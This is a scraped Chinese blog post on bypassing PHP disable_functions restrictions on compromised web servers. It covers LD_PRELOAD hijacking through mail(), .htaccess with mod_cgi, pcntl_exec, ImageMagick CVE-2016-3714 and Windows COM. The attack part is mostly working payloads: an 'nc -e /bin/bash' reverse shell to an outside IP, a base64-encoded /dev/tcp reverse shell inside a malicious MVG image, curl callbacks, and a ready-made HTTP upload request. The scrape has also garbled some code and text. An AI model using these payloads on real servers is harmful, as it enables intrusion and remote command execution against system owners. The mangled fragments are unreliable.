PHP绕过disable_function
2021-02-12 21:21
标签:ini tab 命令注入 short 而不是 l命令 agent add 本地 相当于运行了ipconfig这个命令,我们可以打开生成的文件进行查看 7. chroot 改变当前进程的根目录为 directory,并把当前工作目录改为 "/"。 利用条件: 编写动态链接程序: 当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令,在/var/www/html目录下创建一个名字为test的文件。 gcc so相关选项 执行 将生成的so文件放入到我们想要放的目录当中,可以是web目录 将so文件写到了环境变量当中 访问index.php页面之后,目录下多出了一个test文件,执行成功了。 总结一下具体的步骤:我们利用调用mail函数来执行sendmail程序,这是系统的,此时我们可以查看一下sendmail调用哪些库函数,我们选取其中的一个库函编写一个我们自己的动态链表程序,并将他转为so文件,即生成了一个共享库,此时我们的的so文件中就定义了getuid这个函数,getuid又调用了我们附加的system功能的函数,同时还有getenv获取我们设置的 如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的 POC:
在本地开nc监听4444端口,然后在浏览器中打开这个页面,如果执行成功,将会反弹一个shell到4444端口. pcntl是linux下的一个扩展,可以支持php的多线程操作。 /tmp/b4dboy.sh,此处就是我们想要执行的shell命令 pcntl_exec反弹脚本: ImageMagick是一套功能强大、稳定而且开源的工具集和开发包,可以用来读、写和处理超过89种基本格式的图片文件。 在ImageMagick6.9.3-9以前的所有版本中都存在一个漏洞,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入。 这里是反弹shell的:
例如 CVE-2016-3714: https://www.freebuf.com/vuls/104048.html php5.x支持COM组件,当com.allow_dcom =true时可尝试。 poc: PHP绕过disable_function 标签:ini tab 命令注入 short 而不是 l命令 agent add 本地 原文地址:https://www.cnblogs.com/ophxc/p/13024522.htmlPHP绕过disable_function
常规绕过
exec执行command命令,但是不会输出全部结果,而是返回结果的最后一行.
想得到全部的结果,可以使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行.
passthru直接将结果输出,不返回结果,不用使用echo查看结果.
array( ‘pipe‘ , ‘r‘ ) , #输入
1 => array( ‘file‘ , ‘output‘ , ‘w‘ ) , #输出,可以为管道或文件
2 => array( ‘file‘ , ‘errors‘ , ‘w‘ ) #错误日志,可以为管道或文件
);
$res = proc_open( ‘ipconfig‘ , $descs , $pipes );
if( is_resource( $res ) )
{
fputs( $pipes[ 0 ] , ‘‘ );
fclose( $pipes[ 0 ] );
/**
while( ! feof( $pipes[1] ) )
{
$line = fgets( $pipes[ 1 ] );
echo urlencode( $line );
}
*/
proc_close( $res );
}
",$new;
?>
返回一个 array,包含有 directory 中的文件和目录。
若成功,则该函数返回连接的目标。若失败,则返回 false。
利用环境变量LD_PRELOAD绕过
php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的,而我们调用的mail函数实际上是调用了系统的sendmail命令。
当 disable_functions 禁用了命令执行函数,webshell 无法执行系统命令时,可以通过环境变量 LD_PRELOAD 劫持系统函数,来突破 disable_functions 限制执行操作系统命令
程序的链接主要有以下三种:
静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和
其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
能够上传自己的.so文件
能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数
存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等
#include
gcc -fPIC(生成位置无关代码)
gcc -shared(生成共享库,即so)
gcc -Wl,-soname(指定生成共享库的soname)
gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so
继续编写php文件LD_PRELOAD
变量,执行我们的命令,一切就绪,我们将LD_PRELOAD的变量路径设为我们so文件的路径,LD_PRELOAD
就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库,此时sendmail函数调用的getuid函数就是我们so文件里面定义的了,我们劫持了原本的函数,所以我们接下来调用mail函数就完成了最后一击。.htaccess:不止重定向
mod_cgi
模块,直接绕过PHP的任何限制,来执行系统命令。
条件:
第一,必须是apache环境。
第二,mod_cgi已经启用(在我的环境下是默认启用的)。
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none。
第四,必须有权限写.htaccess文件。
\n";
}
if(!isset($_GET[‘checked‘]))
{
@file_put_contents(‘.htaccess‘,"\nSetEnv HTACCESS on", FILE_APPEND);
header(‘Location: ‘ . $_SERVER[‘PHP_SELF‘]. ‘?checked=true‘); //执行环境的检查
}
else
{
$modcgi = in_array(‘mod_cgi‘,apache_get_modules()); // 检测mod_cgi是否开启
$writable = is_writable(‘.‘); //检测当前目录是否可写
$htaccess = !empty($_SERVER[‘HTACCESS‘]);//检测是否启用了.htaccess
checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
checkEnabled("Iswritable",$writable,"Yes","No");
checkEnabled("htaccessworking",$htaccess,"Yes","No");
if(!($modcgi && $writable&& $htaccess))
{
echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件
}
else
{
checkEnabled("Backing
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in
.htaccess.bak","Failed!"); //备份一下原有.htaccess
checkEnabled("Write
.htaccessfile",file_put_contents(‘.htaccess‘,"Options
+ExecCGI\nAddHandlercgi-script
.dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名
checkEnabled("Write shellfile",file_put_contents(‘shell.dizzle‘,$shellfile),"Succeeded!","Failed!");//写入文件
checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限
echo "Executing the script now.Check your listener "; //调用
}
}
?>
参考文章:https://www.freebuf.com/articles/web/169156.html pcntl_exec
pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP 4 >= 4.2.0, PHP 5
exec.php
#!/bin/bash
ls -l /
2
exp.php,利用pcntl_exec来执行sh文件,从而进行shell反弹
test.sh
!/bin/bashnc -e /bin/bash 1.1.1.1 8888
利用ImageMagick漏洞绕过disable_function
readImage(‘KKKK.mvg‘);
$thumb->writeImage(‘KKKK.png‘);
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
将其改为jpg后缀进行上传,然后侦听端口
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://127.0.0.0/joker.jpg"|curl "192.168.159.128:2233)‘
pop graphic-context
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjM2LjEzOC84ODg5IDA+JjE | base64 -d | bash`"||id " )‘
pop graphic-context
POST /upload.php HTTP/1.1
Host: your-ip
Content-Length: 321
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Content-Type: multipart/form-data; boundary=---------------------------293582696224464
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close
-----------------------------293582696224464
Content-Disposition: form-data; name="file_upload"; filename="CVE-2016-3714.jpg"
Content-Type: image/jpeg
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://127.0.0.0/joker.jpg"|curl "【your-ip】:3333)‘
pop graphic-context
-----------------------------293582696224464--
利用系统组件window com绕过
exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
print($stroutput);
?>
上一篇:为什么要用postcss
下一篇:js输出
文章标题:PHP绕过disable_function
文章链接:http://soscw.com/index.php/essay/54624.html